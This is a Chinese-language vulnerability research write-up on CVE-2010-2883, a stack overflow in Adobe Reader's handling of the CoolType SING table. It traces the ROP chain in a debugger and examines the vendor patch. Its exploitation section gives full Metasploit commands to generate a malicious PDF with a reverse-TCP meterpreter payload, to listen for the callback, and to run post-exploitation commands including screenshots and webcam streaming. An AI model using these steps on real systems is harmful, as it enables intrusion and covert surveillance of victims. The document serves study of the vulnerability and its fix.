CVE-2010-2883分析

漏洞原理

  • 漏洞原理:Adobe Reader在处理CoolType字体文件的sing表时,存在栈溢出漏洞,当打开特制的恶意PDF文件时,可允许任意代码远程执行。

漏洞复现与利用环境

漏洞分析

IDA静态分析

  • 首先用ida打开CoolType.dll文件(在安装目录Reader 9.0\Reader\下,由于知道是在处理SING表时发生的溢出漏洞,用ALT+T查找功能搜索SING字符串

  • 可以看到造成漏洞的主要原因就是使用了危险函数strcat,造成栈溢出

SING数据结构分析

  • 这里我们用恶意PDF文档分析工具 PdfStreamDumper,用工具导入恶意PDF文件,在Object中找到Sing的Object,然后根据官方定义观察TableEntry数据结构
1
2
3
4
5
6
7
8
#官方TableEntry结构的定义
typedef sturct_SING
{
char tag[4];//"SING"
ULONG checkSum;//校验和
ULONG offset;//相对文件偏移
ULONG length;//数据长度
} TableEntry;

  • 我们可以知道SING数据是0x11C开始的,SING数据长度为0x1DDF,而我们知道SING从真实数据偏移0x10为uniqueName域

  • 所以我们在偏移0x11C的位置找到SING数据的入口(红色框),在0x11C+0x10处找到uniqueName域(黑色选中部分),找了好久才在bugnofree师傅的博客找到SING 表结构!!!,才知道uniqueName域是个28字节大小的结构

OD动态调试

  • 打开Adobe Reader,然后打开OD,附加到Reader上

  • F9运行,然后CTRL + G进入到我们的漏洞函数strcat前F2下断点

image.png

  • 在Reader中打开恶意pdf文件,如果有发送错误报告点击不发送即可,等待几秒程序就会断在我们下的断点处,然后我们执行完strcat函数,发现把构造的unqiue复制到了ebp所在的栈地址上

  • 对栈上复制的数据下个内存访问断点,跟踪一下这段数据走向

  • 首先断下来读取的是uniqueName的第一个字节

  • 从复制的数据第一个4字节开始读,之后每4字节往后读

  • 将栈上的数据复制到一个46开头的地方

  • 跟着有个东西写到栈上

  • 执行我们第一次的rop1

  • F7步入函数,查看rop1干了什么

  • add ebp,0x794后,ebp指向unqiueName第3个4字节

  • 然后leave(mov esp,ebp pop ebp),ret到第二个rop,pop esp将esp设置为0x0c0c0c0c,经典的heap spray

  • 然后ret到rop3,将0x4A8A0000 pop给ecx寄存器

  • ret到rop4,将0x4A8A0000写入0x0012E6D0

  • ret到rop5,将eax赋值为CreateFileA函数入口地址0x4A84903C

  • 返回到调用CreateFileA,栈中存放了CreateFileA的参数

  • 执行完CreateFileA函数返回到ret地址

image.png

  • 经过一系列rop,又像调用CreateFileA函数那样,先将CreateFileMappingA地址0x4A849038赋给eax寄存器

  • 然后ret回来去执行CreateFileMappingA函数,同样参数都已经在栈上

image.png

  • 返回ret地址,继续ret0x4A8063A5

  • 经过一系列rop,将MapViewOfFile函数地址0x4A849030 pop给eax寄存器

  • 经过一系列rop,将memcpy函数地址0x4A849170 pop 给eax

  • 执行memcpy函数

  • 然后执行到这

  • 执行shellcode,然后就能在kali返回shell了…,中间大概执行了GetProcAddress函数和socket去连接攻击机等操作

漏洞利用过程

使用Metasploit生成恶意PDF文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#打开msfconsole
root@kali:~# msfconsole
#搜索Adobe攻击模块
msf > search adobe_cooltype_sing
#调用攻击模块
msf > use exploit/windows/fileformat/adobe_cooltype_sing
#调用meterpreter载荷,反向连接到靶机机
msf exploit(windows/fileformat/adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp
#设置本机IP
msf exploit(windows/fileformat/adobe_cooltype_sing) > set LHOST 192.168.137.93
#设置本地监听端口
msf exploit(windows/fileformat/adobe_cooltype_sing) > set LPORT 8888
#设置带有后门程序的PDF文件
msf exploit(windows/fileformat/adobe_cooltype_sing) > set FILENAME pinginglab.pdf
#生成pdf文件
msf exploit(windows/fileformat/adobe_cooltype_sing) > exploit
[*] Creating 'pinginglab.pdf' file...
[+] pinginglab.pdf stored at /root/.msf4/local/pinginglab.pdf

#拷贝pdf文件到桌面
root@kali:~/桌面# cp /root/.msf4/local/pinginglab.pdf pinginglab.pdf

Metasploit监听本机端口,等待靶机上线

1
2
3
4
5
6
7
8
9
10
11
12
#使用handler监听模块
msf > use exploit/multi/handler
#调用meterpreter载荷,反向连接到靶机机
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
#设置本机IP
msf exploit(multi/handler) > set LHOST 192.168.137.93
#设置本地监听端口
msf exploit(multi/handler) > set LPORT 8888
#开始监听,等待靶机上线
msf exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.137.93:8888

靶机安装Adobe Reader 9.3并打开恶意pdf文件,kali获得shell会话

1
2
3
4
5
6
7
8
9
10
#查看系统信息 
meterpreter > sysinfo
#查看当前用户
meterpreter > getuid
#截屏
meterpreter > screenshot
#控制靶机开启视频监控
meterpreter > webcam_stream
#返回靶机的shell
meterpreter > shell

漏洞修补过程

  • 这里我们用bindiff工具来分析Adobe Reader 11如何对这个漏洞进行修补的,由于我是在mac上使用的bindiff,bindiff目前对ida7.0还不兼容,所以搞了个ida6.8,安装完之后可能会报java的错,解决方案

  • 找到我们原先的漏洞函数sub_803DBF2

  • 可以看到原先的危险函数被替换成了0x817F79A

  • 分析一下0x817F79A函数是干什么的

  • 里面还有个sub_817FF99函数,就是对长度进行了限制,最长只能260个字节

总结:漏洞是由于是用了危险函数strcat,造成可以栈溢出从而rop执行shellcode,本来应该采用更加安全的strncat函数,修补应该是自己实现了个类似strcat功能的函数,但是限制了长度,啃这个漏洞啃了几天,CVE研究起来还是有点吃力的……

参考文章(同时收获了好多师傅的博客):